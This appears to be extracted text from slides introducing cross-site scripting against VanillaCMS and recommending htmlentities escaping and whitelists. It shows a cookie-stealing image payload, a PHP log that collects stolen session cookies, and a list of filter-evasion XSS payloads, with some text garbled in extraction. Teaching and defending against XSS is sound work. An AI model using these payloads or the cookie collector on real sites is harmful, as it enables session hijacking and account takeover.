Security & VanillaCMS An XSS Introduction and Attack Demonstration

XSS: An Introduction “Cross-Site Scripting” Using client-side code to send sensitive information off to far-away places. eg. Javascript

XSS: An Introduction Bobby Tables

XSS: An Introduction Mallory Oh shit.

XSS: An Introduction That script could be: alert('HA HA.');alert('Survive make your time.');

XSS: An Introduction That script could be: document.write(document.cookie);

XSS: An Introduction That script could be: document.write( ' '); <img src=" __csuid=489058e83ee2e832;_PHPSESSID=t57tm1fvvdhonprigkdon71677" style="display:none;" />Mallory

XSS: An Introduction Let's have a look at <?php $fh=fopen('xss.log','a'); fwrite($fh,$_SERVER['HTTP_REFERER']. var_export($_GET,1)); fclose($fh); mple_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID=t57tm1fvvdhonprigkdon71677' => '',)‏

XSS: An Introduction So what? mple_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID= t57tm1fvvdhonprigkdon71677 ' => '',)‏

XSS: An Introduction Steal the cookie. Get the URL of the CMS. Log in at will, exposing the very soft underbelly that is the CMS. Time for a demo.

Filtering and Escaping Sometimes are conflated, with side-effects being things like backslashes or entity tags found in stored data. This is all very well and good, but what happens if you want to put this into an message or save out to a text document? “Strip out all tags!” can result in mangled content: eg., 1 bar then”

Filtering and Escaping Validation & Filtering: Checking for and getting rid of the nasties. Checking data is of the correct type, eg. addresses, postcodes, message text. Stripping out control characters, fixing multibyte encoding shenanigans with iconv(). Escaping: Packaging data up for transport. mysql_real_escape_string() for MySQL strings. htmlentities($x, ENT_QUOTES, 'UTF-8'); for HTML. urlencode() for query params.

Filtering and Escaping Why don't we just kill any tags we find? alert('a') ”> <IMG SRC=javascr ipt:aler t('XSS')> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72 &#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72 &#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> alert('a') alert("a");// RIPT>alert('a'); RIPT> <img src=”javascript:alert('a')” <IMG SRC = " j a v a s c r i p t : a l e r t ( ' a ' )‏ " >

Filtering and Escaping Why don't we just kill any tags we find? <iframe src= < BODY{-moz-binding:url(" žscriptualert(EXSSE)ž/scriptu (US-ASCII encoding evasion)‏ <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64, PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Filtering and Escaping Why don't we just kill any tags we find? <DIV STYLE="background-image:\0075\0072\006C\0028'\006a \0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061 exp/* alert('a');.x{background-image:url("javascript:alert('a')");} ]]>

Filtering and Escaping Yeah, no. The transport is HTML; package it appropriately. Using htmlentities($xsslol, ENT_QUOTES, 'UTF-8') will completely neuter most of this stuff. Use it even on the things you “trust” like $_SERVER['PHP_SELF'], or REQUEST_URI. It gets hard when you need to put user data into src=”” and style=”” fields; suggest using a whitelist instead, no matter how much of a pain it is to implement. (Or in the case of images and other files, generating the filename for them.)‏